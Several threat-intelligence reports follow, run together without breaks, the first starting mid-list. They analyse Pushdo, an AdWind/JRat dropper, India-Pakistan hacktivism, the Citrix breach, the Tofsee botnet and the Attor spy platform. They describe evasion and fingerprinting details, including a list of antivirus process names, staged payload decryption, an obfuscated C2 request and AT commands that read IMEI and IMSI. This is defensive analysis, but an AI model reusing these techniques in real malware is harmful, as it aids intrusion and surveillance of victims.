mcpromgr.exe - mcusrmgr.exe - mcupdmgr.exe - mclogsrv.exe - mctskshd.exe - NPFSVICE.exe - outpost.exe - symlcsvc.exe - sspfwtry2.exe - vsmon.exe - xcommsvr.exe - vsserv.exe - livesrv.exe - drweb32w.exe - nod32krn.exe - PAVFNSVR.exe - PAVSRV51.exe Instead of killing off these processes, as many other trojans/viruses attempt to do, Pushdo merely reports back to the controller which ones are running, by appending "proc=" and a list of the matching process names to the HTTP request parameters. This type of reconnaissance is useful when determining which anti-virus engines or firewalls are preventing the malware from running or phoning home, by their absence from the statistics. This way the Pushdo author doesn't have to maintain a test environment for each AV/firewall product. Most of the 421 malware samples from the Pushdo controller we examined were either the Wigon rootkit or the Cutwail spam trojan; however, the following other trojans were being served by the controller: - PRG/Wsnpoem - PSW.LdPinch.NEL - TrojanDownloader.Agent.NPQ - Agent.AIA - BHO.NAT - Rustock.NBK - TrojanDownloader.Small.NYK The large proportion of Cutwail/Wigon leads us to believe the same group is behind all three malware families. The Wigon rootkit is dropped onto the system when Pushdo is first executed and is used to hide the Pushdo process and any subsequent malware that Pushdo might download. It is able to determine which processes to hide by looking for a specific byte at a predetermined offset of the PE header. Cutwail also seems to share some similar code/programming techniques (as well as the use of the Wigon rootkit) with Pushdo. For instance, the use of environment variables to determine system paths, rather than more canonical Win32 API calls. This programming approach may also indicate the author of Pushdo (and Cutwail and Wigon) is more at home with Unix-like operating systems than Win32 platforms, although clearly he/she has proficiency on both. The fact that other malware families are being distributed using the Pushdo system suggests that the author is also willing to take payments from other malware authors in return for use of his distribution channel. Such arrangements are becoming more and more common, as participants in the malware economy seek out niches in which to provide services in the underground marketplace. The Pushdo controller is remotely administered using a custom protocol over the HTTP channel. An administrator connects using the same URL that an infected system might, except the version parameter is set to a predetermined key. At that point the following commands can be issued over the TCP channel: - STAT (gets the server status) - TRCK (dump the statistics log) - CARG (upload a new malware payload database) - FLTR (upload a new whitelist/blacklist filter database) - FINA (end session) As we were writing this analysis, we received an e-card email containing a newer variant of Pushdo. Apparently taking notice that the Bleeding Snort project had published a signature (sid 2006377) to detect the Pushdo request variables in transit, the author has now changed the request to be less fingerprintable. An example of the new request format is: ``` GET /40e800142020202057202d4443574d414c393635393438366c0000003c66000000007600000002 HTTP/1.0 ``` The length of the request will likely change between different service pack levels of Windows. IDS/IPS signatures can still be written around such a request, taking advantage of the fact that no other HTTP headers are sent as one characteristic to key in on. However, even with this approach, false positives may still occur. Clearly the author of Pushdo is intent on evading detection for as long as possible, in order to have the maximum amount of time to seed Cutwail spambots into the wild. Although it is unclear just how large the Cutwail botnet has become, the ambition of the project rivals that of other more well-known spam botnets, such as Storm. Only time will tell if it will rival Storm in size as well.
# Interesting Hidden Threat Since Years Today I’d like to share the following reverse engineering path since it ended up to be more complex than I thought. The full path took me about hours of work and the sample covers many obfuscation steps and implementation languages. During the analysis time, only a few Antivirus (6 out of 60) were able to “detect” the sample. Actually, none really detected it, but some AVs triggered “generic unwanted software” signatures without being able to really figure it out. As usual, I am not going to show you who was able to detect it compared to those who weren’t, since I won’t end up with wrong declarations such as “Marco said that X is better than Y.” Anyway, having the hash file, I believe it would be enough to search for such information. ## AntiVirus Coverage The Sample (SHA256: `e5c67daef2226a9e042837f6fad5b338d730e7d241ae0786d091895b2a1b8681`) presents itself as a JAR file. The first thought that you might have as an experienced malware reverse engineer would be: “Ok, another byte code reversing night, easy... just put focus and debug on it.” BUT surprisingly, when you decompile the sample, you read the following class! ### Stage 1: JAR Invoking JavaScript A Java Method that invokes (through evals) an embedded “JavaScript” file! This is totally interesting stuff. Let’s follow up on stages and see where it goes. The extracted JavaScript (stage 2) looks like the following. The “OOoo00” obfuscation technique has been used. Personally, I do not like this obfuscation technique; it’s harder to reverse compared to different obfuscation techniques. Even the CTR-F gets confused on substrings, but we need to figure out what it does, so let’s try to manually substitute every string and watch out for matching substrings. ### Stage 2: Evaluated JavaScript (Obfuscated) Manual substitution takes “forever” if you do not have a substitution framework that asks you for a string, replaces such a string (and not a substring), and eventually represents the new beautified JavaScript. After many substitutions, you land on a quite readable JavaScript. ### Stage 2: Manually Deobfuscated JavaScript What is interesting (at least from my personal point of view) is the way the attacker (ab)used the JS-JVM integration. JavaScript takes the Java context, meaning it might use Java functions calling contextual Java classes. In this stage, the JavaScript is loading encrypted content from the original JAR, using a KEY to decrypt such content, and finally loads it (Dynamic Class Loader) into memory in order to fire it up as new Java code. The used encryption algorithm is AES, and everything we need to decrypt is in this file, so let’s build up a simple Python script to print our decryption parameters. ### Python Script to Decode AES-KEY We now have every decoding parameter; we just need to decrypt the classes by using the following data: - ClassName - Resource (a.k.a package in which it will be contextualized) - Byte to be decrypted - Secret Key - Byte Length to be decrypted A simple Java Decrypter has been developed following the original Malware code. Once run, the following code was decrypted. ### Stage 3 Decrypted JavaClass Here my favorite point. As you might appreciate from the previous image, we are facing a new stage (Stage 3). What is interesting about this new stage is the way it reflects the old code. It is a defacto replica of Stage 2. We have new classes to be decrypted, the same algorithm, a new KEY (this time not derived by an algorithm as in Stage 2 but simply in clear text), and the same reflective technique in which the attacker dynamically loads memory decrypted content on Java.loader and uses it to decrypt again a further step, and after that, it replies the code again and again. There is an interesting difference, though; this stage builds up a new in-memory stage (let’s call it Stage 4) by adding static GZipped contents at the end of the encrypted section. By using that technique, the attacker can reach as many decryption stages as desired. At the end of the decryption loop (which took a while), the sample saves (or drops from itself, if you wish) an additional file placed in AppData – Local – Temp named: `_ARandomDecimalNumber.class`. This .class is actually a JAR file carrying a whole function set. The final stage before ending up runs the following command: ```bash java -jar _ARandomDecimalNumber.class ``` The execution of such a command drops on the local Hard Drive (AppData-Local-Temp) three new files named: `RetrieveRandomNumber.vbs` (2x) and `RandomName.reg`. ### On Final Stage VBS Run Files It’s quite funny to see the attacker needed a new language script (he already needed Java, as the original entry point, JavaScript as payload decrypt, and now he is using VBS!) to query WMI in order to retrieve installed AntiVirus and Installed Firewall information. Significantly, the choice to use a .reg file to enumerate tons of security tools that have been widely used by analysts to analyze Malware. The attacker enumerates 571 possible analysis tools that should not be present on the target machine (Victim). Brave, but not neat at all. The sample does not evade the system but forces the System Kill of such a process, independently of whether they are installed or not, just like brute force killing processes. The sample enters a big loop where it launches 571 sigKill one for each enumerated (.reg) analysis program. It copies through `xcopy.exe` the entire Java VM into AppData-Roaming-Oracle and by changing the local environment classpath, uses it to perform the following actions. It finally drops and executes another payload called “plugins.” ### Final Dropped Files (_RandomDec and plugins) At first sight, an experienced Malware reverse engineer would notice that the original sample finally drops an AdWind/JRat Malware, having as a main target to steal files and personal information from victims. While the AdWind/JRat is not interesting per se since it is widely analyzed, this new way to deliver AdWind/JRat is definitely fascinating. The attacker mixed up obfuscation techniques, decryption techniques, file-less abilities, multi-language stages, and evasion techniques in order to deliver this AdWind/JRat version. Multiple programming styles have been found during the analysis path. Each stage belonging to a specific programming language is atomic, meaning that it could be run separately, and each following stage could easily consume its outputs. All these indicators make me believe the original sample has been built using a Malware builder, which perfectly fits the AdWind philosophy to run as a service platform. A final consideration is about timing. Checking the VirusTotal details (remembering that only 6 out of 60 AVs were able to say the original JAR was malicious or unwanted), you might notice the following timeline. ### Detection Time Line (VirusTotal) VT shows the first time it captured that hash (sha256): it was on 2016. But then the first submission is on 2018-08-14, a few days ago. On that date (2018-08-14), only 6 out of 60 detected suspicious (malicious) behavior and triggered a red state. But what about the almost 2 years between December 2016 and August 2018? If we assume the Malware is 2 years old, was it silent until now (until my submission)? Did we have technology two years ago to detect such a threat? Or could it be a targeted attack that took almost 2 years before being deployed? I currently have no answers to such questions; hope you might find some. *Actually not really an evasion technique, more likely a toolset mitigation. ## IoC You will not find Command and Controls (C2) and dropping URLs because: 1. Dropping URLs were not found: the sample auto-extracts contents from itself. 2. No C2 during the delivery stage. Of course, AdWind/JRat does C2, but as explained, the analyst did not follow the analysis of AdWind/JRat since it is well-known malware. ### Hashes: - Original: `e5c67daef2226a9e042837f6fad5b338d730e7d241ae0786d091895b2a1b8681` - _RandomDec: `97d585b6aff62fb4e43e7e6a5f816dcd7a14be11a88b109a9ba9e8cd4c456eb9` - Retrieve1: `9da575dd2d5b7c1e9bab8b51a16cde457b3371c6dcdb0537356cf1497fa868f6` - Retrieve2: `45bfe34aa3ef932f75101246eb53d032f5e7cf6d1f5b4e495334955a255f32e7` - .reg: `296a0ed2a3575e02ba22e74fd5f8740af4f72b629e4e50643ac0c156694a5f3c` - plugins: `32d28c43af1afc977b96436b7f638fba15188e6120eeaefa1ad91fb82015fd80` ### File Paths: - `..AppData/Local/Temp/_ARandomDecimalNumber.class` - `..AppData/Local/Temp/RetrieveRandomNumber.vbs` - `..AppData/Local/Temp/RetrieveRandomNumber.vbs` - `..AppData/Local/Temp/RandomName.reg`
# Hacktivism: India vs. Pakistan Posted by RFSID on February 11, 2016 in Cyber Threat Intelligence Floodlit international border between India and Pakistan, as seen from the International Space Station. When India gained independence from Britain in 1947, a new, predominantly Muslim nation of Pakistan was created during what was called the “partition.” During this partition, about 15 million people were displaced and a million more died. The “hastily drawn” border by the departing British, which separated Pakistan from the mostly Hindu India, never fully resolved all the issues. Several wars between the two nations ensued and tensions continue to this day. A floodlit, 1250-mile portion of the current international border (a.k.a. the Line of Control) is visible in a photo taken from the International Space Station. Indian soldiers (in present day Bangladesh) during the third war between India and Pakistan in December 1971. The continuing rivalry between India and Pakistan has spilled over into cyberspace, very visibly with hacktivism. This post reviews that activity and demonstrates how high-profile events and anniversaries (e.g., Indian Independence Day on August 15, Pakistan’s Independence Day on August 14, the Mumbai attacks on November 26, and even cricket matches between the two countries) often coincide with increased cyber activity. ## The Cyber Dimension to India and Pakistan’s Cricket Rivalry An India versus Pakistan cricket match, in March 14, results in an Indian university website being hacked. The game of cricket provides a perfect field for a great rivalry between India and Pakistan. Wins and losses have geopolitical, social, and cyber repercussions on both sides. Conversely, geopolitical and social tensions have led to matches being postponed or cancelled. On March 2, 2014, Pakistan defeated India in a cricket match in the Asia Cup held in Dhaka, Bangladesh. The next day (March 3), in Meerut, India, 67 Kashmiri students at Swami Vivekanand Subharti University were suspended for having cheered for Pakistan and distributing sweets after their win. Then on March 5, 2014, the website of Swami Vivekanand Subharti University was hacked by a group claiming to be the Pakistan Cyber Army (a.k.a. Bangladesh Cyber Army) in response to expelling pro-Pakistan students. Finally, on March 7, 2014, the sedition charges against expelled students are dropped but they could still face prosecution over the incident. Based on this past event, it’s likely that cyber activity will take place between Indian and Pakistani actors before, during, and after the next cricket match between India and Pakistan on March 19 in Dharamsala, India. ## A Predictable Pattern on Independence Days India and Pakistan’s independence days, which fall on August 15 and August 14 respectively, create a predictable pattern (at least over the past three years) of attacks and retaliatory strikes by the opposing hacker groups. An uptick in such activity before and after this year’s independence days shouldn’t come as a surprise. ### Pakistan Cyber Army Targeting India: A Snapshot 2007 Onward Let’s take a closer look at the activities of the Pakistan Cyber Army (PCA), which was involved in the cricket incident described earlier. The timeline below shows that the PCA has been consistently active at least since the 2007 hacking, defacing and shutting down high-profile Indian websites. Government and private sites have been targeted including Indian Oil and Natural Gas Corporation (a Fortune 500 company), Indian Railways, the Central Bureau of Investigation, Central Bank of India, and the State Government of Kerala. The PCA’s “public announcement” of its operations against India and the PCA’s motives are described in a document on Pastebin. This particular message is related to PCA’s attacks to commemorate Pakistan’s independence day (August 14). When we investigate the PCA’s TTPs (tactics, techniques, and procedures) to learn how they operate, we find examples like tutorials on how to set up phishing attacks. Though of course it’s hard to establish, this is indeed a PCA actor who posted this. Below is another example where SQL injection attacks are allegedly used by Pakistani hackers to compromise Indian websites. In their research into PCA’s activities, ThreatConnect and FireEye also reported finding possible links to personas with skills in exploiting Web applications and services, identifying zero-day vulnerabilities, SQL injection, WEP cracking, and spear phishing. In some instances the hackers chose to identify themselves — for example, the hacker behind India’s Kerala state website defacement in September 2015 identified himself as “Faisal 1337.” If we widen our view again and look at hackers from Pakistan and India targeting each other over the last seven months, we can see an interesting retaliatory pattern of attacks; the latest major response being Indian hackers avenging the deadly January 2, 2016 attack on the Indian Air Force base in Pathankot. There are a number of hacker groups in India including the Indian Black Hats who reportedly claimed responsibility for the January 7 revenge for the attack on Pathankot, and the Mallu Cyber Soldiers who were said to avenge the attacks on the Kerala state government website. When looking at hacking methods used by these groups, given that they go after weakly secured websites or those with unpatched vulnerabilities, one can expect to find generally applicable instructions and techniques used and shared by various groups, especially when they self-identify themselves under the broad umbrella of “India hackers.” The methods used by these groups include SQL injection and PHP Web application hacks. The Pastebin references mention a tool “D3LT4” to scan websites for SQL injection vulnerabilities, and further references to PHP scripts which can be used to hack Web applications. ## Conclusion The glimpses above hint at the many possible motivations and objectives of the cyber activities between India and Pakistan. These could range all the way from loosely affiliated hacktivist groups avenging attacks by defacing symbols and institutions to more coordinated state-sponsored attacks, which will be covered in a future piece. The Line of Control (a.k.a. international border) between the two only serves as a symbol of adversarial tension and certainly not a barrier in the cyber realm.
# Supply Chain – The Major Target of Cyberespionage Groups Resecurity has shared the acquired intelligence with law enforcement and partners for mitigation. On Friday, December 28, 2018, at 10:25 AM, Resecurity reached out to Citrix and shared an early warning notification about a targeted attack and data breach. Based on the timing and further dynamics, the attack was planned and organized specifically during the Christmas period. The incident has been identified as a part of a sophisticated cyberespionage campaign supported by nation-states due to strong targeting against government, military-industrial complex, energy companies, financial institutions, and large enterprises involved in critical areas of the economy. Based on our recent analysis, the threat actors leveraged a combination of tools, techniques, and procedures (TTPs) allowing them to conduct a targeted network intrusion to access at least 6 terabytes of sensitive data stored in the Citrix enterprise network, including email correspondence, files in network shares, and other services used for project management and procurement. We forecast a continued growth of targeted cyber-attacks on supply chains of government and large enterprises organized by state actors and sophisticated cyberespionage groups. Below are the indicators of IRIDIUM activity available for disclosure. We will update the list with new information once it becomes available. We would like to thank the following organizations for their timely assistance and collaboration regarding the malicious network activity during the Winter 2018 period: DHL, NBC (National Bank of Canada), Skrill, PayPal, and Canadian Centre for Cyber Security. **Source IPs:** - 178.131.21[].19[] (Iran) - 5.115.23[].11[] (Iran) - 5.52.14[].23[] (Iran) **Used proxies:** - 23.237.104.90 – Canada (VPN) - 194.59.251.12 – USA (VPN) - 185.244.214.198 – Poland - 138.201.142.113 – Germany - 92.222.252.193 – France (Nov 29, 2018) - 51.15.240.100 – France (Dec 7, 2018) x 3 times - 185.220.70.135 – Germany (Dec 7, 2018) x 5 times The Global Access List (GAL) acquired as a result of password-spraying (on Citrix employee accounts), which is a type of attack for brute-forcing and credential-stuffing, includes 31,738 records. The threat actors leveraged it for further reconnaissance and account compromise. Based on our analysis, one of these elevated actions was conducted on Monday, October 15, 2018, at 1:57 AM. Password-spraying was one of the most commonly used techniques by Mabna Institute hackers and their associates during the early stage of the attacks to gain a foothold in the victim’s environment. More information about their techniques is available in FBI Flash Alert (ME-000092-TT): - Leveraging the initial group of compromised accounts, download the Global Address List (GAL) from a target’s email client, and perform a larger password spray against legitimate accounts. - Using the compromised access, malicious actors attempt to expand laterally (e.g., via Remote Desktop Protocol or other means) within the network, and perform mass data exfiltration. As a result, threat actors conducted network intrusion to access data in Citrix infrastructure remotely. **Mitigation Measures:** - Azure AD and ADFS best practices: Defending against password spray attacks - Spray you, spray me: defending against password spraying attacks
# Tofsee Botnet: Proxying and Mining **Key findings** BitSight has recently observed a 15-year-old modular spambot called Tofsee being distributed by PrivateLoader (ruzki), a notorious malware distribution service we also closely monitor. BitSight has noticed Tofsee engaging in web traffic proxying, with a small percentage of it being email spam related traffic, and also performing cryptocurrency mining. BitSight's partial visibility over its botnet of infected machines suggests that its spread worldwide, with a significant percentage of infections in India. ## Old bot, new tricks (not really) In January 2023, PrivateLoader, a malware loader from a pay-per-install malware distribution service called “ruzki”, started to distribute Tofsee (a.k.a. Gheg), a modular spambot. Spambots are typically utilized by cybercriminals to spread malware and phishing emails, and this particular one has been in operation since at least 2008. Due to its modular architecture, Tofsee is capable of performing a wide range of tasks once it receives instructions to do so (as it did in the past), such as denial of service attacks and click fraud. The samples are packed but can be easily unpacked. Unpacking denotes the last stage in which the main functionality of the malicious software is exposed. Threat Actors make use of packers when distributing their malware as they remain an effective way to evade detection. As revealed by CERT.pl, the malware downloads two types of resources (updates) from its command-and-control (C2) server: configurations, and plugins to extend its functionality. After trying to decrypt the packet capture from a sandbox run of the sample to understand what resources have recently been fetched, we were getting high entropy data, signaling that something on the protocol may have changed. One of the first guesses was that the hardcoded 7-byte-lowercase-only-letters encryption key “abcdefg” might have changed. To understand if that was the case, we tried to search for the key on the binary, but couldn’t find it. Going deeper, statically analyzing the sample using a disassembler, right on the main function, one of the first functions called looks like a string decryption function and is called 67 times throughout the code. After implementing it in Python and testing one of the calls to it, a plaintext string is indeed returned. ## Resources downloaded by Tofsee | Configs | Plugins | |----------------------|-----------------------------| | blist_cfg | blist.dll (Am I blocklisted?) | | blist_doms | miner.dll | | blist_ips | sys.dll (updater) | | ID4011378458 | proxyR.dll | | miner_cfg | smtp.dll | | port_cfg | text.dll (process email templates) | | priority | xmrcpu.exe | | proxy_cfg | | | ps_otlups_hm | | | ps_otlups_ya | | | psmtp_cfg | | | RT_1 | | | RT_2 | | | RT_AD | | | smtp_ban | | | smtp_herr | | | smtp_retr | | | start_srv | | | sys_cfg | | | time_cfg | | | work_srv | | The “proxyR” and “miner” plugins were the only ones that had network activity. The “smtp” plugin needs extra configurations to be able to generate and send spam, specifically resources of type 7 (general purpose macros), 8 (local macros), and 11 (template scripts), which we never encountered in a two month period. ## Proxying web traffic Regarding the proxy plugin, we extracted a configuration payload with 6 IPs located in Russia. Looking at the same packet capture previously mentioned, after trying to decrypt the TCP streams related to those IPs, we were again getting high entropy data. Looking at the proxy plugin DLL, there is yet another 7-byte-lowercase-only-letters string, “prcbsrv”. After decrypting the packets with it, the streams revealed HTTP(S) and SOCKS(4/5) requests sent from those IPs to the bot, which leads us to believe those are addresses of backconnect servers. A backconnect proxy server is a server that utilizes a pool of proxies (in this case, the Tofsee botnet) to perform requests on behalf of the user. Most of the traffic is over HTTPS to popular websites, including several Russian ones. While looking through the traffic, we spotted an interesting pattern. Around 3% of the requests were HTTP POST with the URI ending in “.php” and, in many cases, starting with “/wp-”, to random websites that appear legitimate. Each request’s payload starts with the string “ce=” followed by a base64-encoded spam template. The response to the request usually was a 200 OK with “*send:ok*” as payload. These indicators lead us to believe that these (apparently) legitimate websites have been likely compromised to be used to distribute spam. Another 3% of the traffic was SMTP(S) spam traffic which can be categorized as "romance scam" or "dating scam”, which included photo attachments of the supposed sender. In short, all spam activity was done exclusively through the proxy module. Regarding the “smtp” plugin, although it’s still being sent to the bots, we haven’t seen any activity from it so far. ## Mining Masari Regarding the miner plugin, we extracted a configuration payload containing some URLs. None seem to work, except “fastpool.xyz”, and the references for them on Google are old. Moreover, there’s only activity to “fastpool.xyz:10060”, which is a mining pool for Masari (MSR), a privacy-focused cryptocurrency that aims to provide secure, private, and untraceable transactions. The mining pool website has some statistics on the botnet’s mining work. In total so far, to this address, Tofsee botnet was able to mine ~200,000 MSR, which currently corresponds to ~1500$. By searching for the wallet address on Google, the first reference is from June 2022. ## Tracking the botnet Bitsight's partial visibility over the geographical distribution of the Tofsee botnet in March 2023 suggests that it’s present worldwide, with a significant percentage of infections in India (33%). ## Wrap-up Tofsee remains a persistent threat to organizations worldwide, with its primary focus recently being the proxying of web traffic and cryptocurrency mining. However, its modular design also allows for it to be used for a variety of other malicious activities, including spam campaigns and distributed denial of service (DDoS) attacks, as seen in the past. As such, it is crucial for organizations to remain vigilant in their cybersecurity efforts and take steps to mitigate the risk of Tofsee infection. BitSight will continue to monitor the threat landscape closely and provide updates on new developments related to Tofsee and other emerging threats. ## IOCs & Signatures All indicators of compromise and detection signatures can be found here. Tofsee malware/bot/core sample unpacked: `96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca311482b99702b72`. YARA rule: The unpacked binary contains a lot of interesting plaintext strings that can be used to write a YARA rule to detect the malware. This following 7-year-old rule that does the job well: String decryption function in Python: Suricata rule: The following Suricata rules detect the malware communicating with its C2 server: Note: Both rules need to trigger in order for an alert to be generated.
# ESET Discovers Attor, a Spy Platform with Curious GSM Fingerprinting ESET researchers discover a previously unreported cyberespionage platform used in targeted attacks against diplomatic missions, governmental institutions, and privacy-concerned users. ESET researchers have discovered a new espionage platform with a complex architecture, a host of measures to make detection and analysis more difficult, and two notable features. First, its GSM plugin uses the AT command protocol, and second, it uses Tor for its network communications. ESET researchers thus named the cyberespionage platform Attor. ## Targets Attor’s espionage operation is highly targeted – we were able to trace Attor’s operation back to at least 2013, yet we only identified a few dozen victims. Despite that, we were able to learn more about the intended victims by analyzing artifacts in the malware. For example, in order to report on the victim’s activities, Attor monitors active processes to take screenshots of selected applications. Only certain applications are targeted – those with specific substrings in the process name or window title. Besides standard services such as popular web browsers, instant messaging applications, and email services, the list of targeted applications contains several Russian services. ### Table 1. Domains Misused in the Campaign | Process Name/Window Title Substring | Context | |-------------------------------------|---------| | ОДНОКЛАССНИКИ (transl. Classmates) | Russian social network (Odnoklassniki) | | AGENTVKONTAKTE | Russian social network (VKontakte) | | WEBMONEY | Online payment system used in Russia (WebMoney) | | MAIL.YANDEX, ЯНДЕКС.ПОЧТА (transl. Yandex.Mail), MAIL.RU, POCHTA (transl. Mail) | Russian email services (Mail.ru, Yandex.Mail) | | MAGENT | Russian text | | ПРИГЛАШЕНИЕ ДРУЖИТЬ (transl. Friend request) | Russian text | | ВАМ СООБЩЕНИЕ (transl. Message for you) | Russian text | | MULTIFON | Russian VoIP service | | QIP, INFIUM | Russian IM application (QIP) | | RAMBLER | Russian search engine (Rambler) | The list includes the two most popular social networks in Russia (Odnoklassniki, VKontakte) and a VoIP service provided by a Russian telecom operator (Multifon). Our conclusion is that Attor is specifically targeting Russian speakers, which is further supported by the fact that most of the targets are located in Russia. Other targets are located in Eastern Europe, including diplomatic missions and governmental institutions. In addition to its geographical and language targeting, Attor’s creators appear to be specifically interested in users concerned about their privacy. Attor is configured to capture screenshots of encryption/digital signature utilities, the VPN service HMA, end-to-end encryption email services Hushmail and The Bat!, and the disk encryption utility TrueCrypt. The victim’s usage of TrueCrypt is further inspected in another part of Attor. It monitors hard disk devices connected to the compromised computer and searches for the presence of TrueCrypt. If TrueCrypt is detected, its version is determined by sending IOCTLs to the TrueCrypt driver. As these are TrueCrypt-specific control codes, the authors of the malware must understand the open-source code of the TrueCrypt installer. We have not seen this technique used before nor documented in other malware. ## Platform Architecture Attor consists of a dispatcher and loadable plugins, all of which are implemented as dynamic-link libraries (DLLs). The first step of a compromise comprises dropping all these components on disk and loading the dispatcher DLL. The dispatcher is the core of the whole platform – it serves as a management and synchronization unit for the additional plugins. On each system start, it injects itself into almost all running processes and loads all available plugins within each of these processes. As an exception, Attor avoids injection into some system and security-product-related processes. All plugins rely on the dispatcher for implementing basic functionalities. Rather than calling Windows API functions directly, the plugins use a reference to a helper function (a function dispatcher) implemented by the dispatcher DLL. A reference to the function dispatcher is passed to the plugins when they are loaded. Because the plugins are injected in the same process as the dispatcher itself, they share the same address space and can call this function directly. Calls to the function dispatcher take as their arguments the function type and its numerical identifier. This design makes it harder to analyze individual components of Attor without access to the dispatcher, as it translates the specified identifier to a meaningful function that is then executed. Furthermore, the dispatcher is the only component of the platform that has access to the configuration data. Attor’s plugins retrieve their configuration data from the dispatcher via the interface. ## Plugins Attor’s plugins are delivered to the compromised computer as DLLs, asymmetrically encrypted with RSA. The plugins are only fully recovered in memory, using the public RSA key embedded in the dispatcher. As a result, it is difficult to obtain Attor’s plugins and decrypt them without access to the dispatcher. We were able to recover eight of Attor’s plugins, some in multiple versions. ### Table 2. The Analyzed Plugins and Their Versions | Plugin ID | Analyzed Versions | Functionality | |-----------|-------------------|---------------| | 0x01 | 0x0E | Device monitor | | 0x02 | (no version), 0x0C | Screengrabber | | 0x03 | (no version), 0x08, 0x09, 0x0B, 0x0C | Audio recorder | | 0x05 | 0x0A | File uploader | | 0x06 | 0x0A | Command dispatcher/SOCKS proxy | | 0x07 | 0x02, 0x04, 0x09, 0x0A | Key/clipboard logger | | 0x0D | 0x03 | Tor client | | 0x10 | 0x01 | Installer/watchdog | The plugins are responsible for the persistence of the platform (Installer/watchdog plugin), for collecting sensitive information (Device monitor, Screengrabber, Audio recorder, Key/clipboard logger), and for network communication with the C&C server (File uploader, Command dispatcher/SOCKS proxy, Tor client). Attor has built-in mechanisms for adding new plugins, updating itself, and automatically exfiltrating collected data and log files. ## Network Communication Attor’s espionage plugins collect sensitive data (such as a list of documents present on the disk) that are ultimately exfiltrated to a remote server, but these plugins themselves do not communicate over the network. Only two of Attor’s components communicate with its C&C server: File uploader and Command dispatcher. Files collected by the espionage plugins are uploaded to the C&C server automatically by the File uploader plugin. These plugins use a dedicated Upload folder as a central folder to store collected data, and other plugins use it to store log files. The Command dispatcher plugin downloads commands and additional tools from the C&C server and interprets them. Again, it uses dedicated folders to store its data – most prominently, freshly downloaded plugins and platform updates, and encrypted log data containing status/results of the executed commands. Attor’s dispatcher monitors the shared folders and loads any new plugins and updates pushed to the compromised computer. This means that neither Attor’s dispatcher nor espionage plugins ever communicate with the C&C server – they only use local shared folders for storing data to be exfiltrated and for reading further instructions from the server. Both File uploader and Command dispatcher use the same infrastructure to reach the remote server – the network communication itself is scattered across four different Attor components, each implementing a different layer. Attor uses Tor: Onion Service Protocol, with an onion address for the C&C server. In order to communicate with the C&C server, any plugin must first establish a connection with the Tor client plugin, which is responsible for resolving the onion domain, choosing a circuit, and encrypting data in layers. The Tor client plugin must communicate with the dispatcher, which implements the cryptographic functions. Furthermore, it communicates with the SOCKS proxy plugin that relays communications between the Tor client and the remote server. Both File uploader and Command dispatcher use FTP; files are uploaded to/downloaded from an FTP server that is protected by credentials hardcoded in the configuration. In total, the infrastructure for C&C communication spans four Attor components – the dispatcher providing encryption functions, and three plugins implementing the FTP protocol, the Tor functionality, and the actual network communication. This mechanism makes it impossible to analyze Attor’s network communication unless all pieces of the puzzle have been collected. It is important to note that Attor uses several additional tricks to hide its communications from the user and security products. First, the C&C server is a Tor service, aiming for anonymity and untraceability. Second, all network-communication-related plugins are only activated if running within the process of a web browser or an instant messaging application or other network applications. This trick hides the exfiltration-related network communication in a stream of legitimate communications made by that application, thus reducing the risk of raising any suspicion. ## GSM Fingerprinting The most curious plugin in Attor’s arsenal collects information about both connected modem/phone devices and connected storage drives, and about files present on these drives. It is responsible for the collection of metadata, not the files themselves, so we consider it a plugin used for device fingerprinting, and hence likely used as a base for further data theft. While Attor’s functionality of fingerprinting storage drives is rather standard, its fingerprinting of GSM devices is unique. Whenever a modem or a phone device is connected to a COM port, Device monitor uses AT commands to communicate with the device via the associated serial port. AT commands, also known as Hayes command set, were originally developed in the 1980s to command a modem to dial, hang up, or change connection settings. The command set was subsequently extended to support additional functionality, both standardized and vendor-specific. In a recent paper, it was discovered that the commands are still in use in most modern smartphones. Those researchers were able to bypass security mechanisms and communicate with smartphones using AT commands through their USB interface. Thousands of commands were recovered and tested, including those to send SMS messages, emulate on-screen touch events, or leak sensitive information. That research illustrates that the old-school AT commands pose a serious risk when misused. As for Attor’s plugin, however, we may only speculate why AT commands are employed. We have detected a 64-bit version of this plugin in 2019, and we can confirm it is still a part of the newest Attor version. On the other hand, it seems unlikely it is targeting modern smartphone devices. The plugin ignores devices connected via a USB port and only contacts those connected via a serial port. A more likely explanation of the plugin’s main motive is that it targets modems and older phones. Alternatively, it may be used to communicate with specific devices that are connected to the COM port or to the USB port using a USB-to-serial adaptor. In this scenario, it is possible the attackers have learned about the victim’s use of these devices using some other reconnaissance techniques. In any case, the plugin retrieves the following information from the connected devices, using the AT commands: - Basic information about the mobile phone or GSM/GPRS modem: name of manufacturer, model number, IMEI number, and software version - Basic information about the subscriber: MSISDN and IMSI number ### Table 3. The Commands of the AT Protocol Used by the Device Monitor Plugin | AT Command | Functionality | |------------|---------------| | AT | Signals start of communication (AT for attention). | | AT+MODE=2 | Prepares the phone for an extended AT+ command set. | | AT+CGSN | Requests IMEI number (International Mobile Equipment Identity). | | AT+CGMM | Requests information about the model of the device. | | AT+CGMI | Requests name of the device manufacturer. | | AT+CGMR | Requests the version of the software loaded on the device. | | AT+CNUM | Requests MSISDN (Mobile Station International Subscriber Directory Number). | | AT+CIMI | Requests IMSI (International Mobile Subscriber Identity). | Note that many more (vendor-specific) AT commands exist that are not used by this plugin. It is possible that the malware operators use the listed commands to fingerprint the connected devices and then deploy another plugin with more specific commands to extract information from the device. ## Conclusion Attor is an espionage platform used for highly targeted attacks against high-profile users in Eastern Europe and Russian-speaking, security-concerned users. The malware, which has flown under the radar since 2013, has a loadable-plugin architecture that can be used to customize the functionality to specific victims. It includes an unusual plugin for GSM fingerprinting that utilizes the rarely used AT command set and incorporates Tor with the aim of anonymity and untraceability. Our research provides a deep insight into the malware and suggests that it is well worth further tracking the operations of the group behind it.
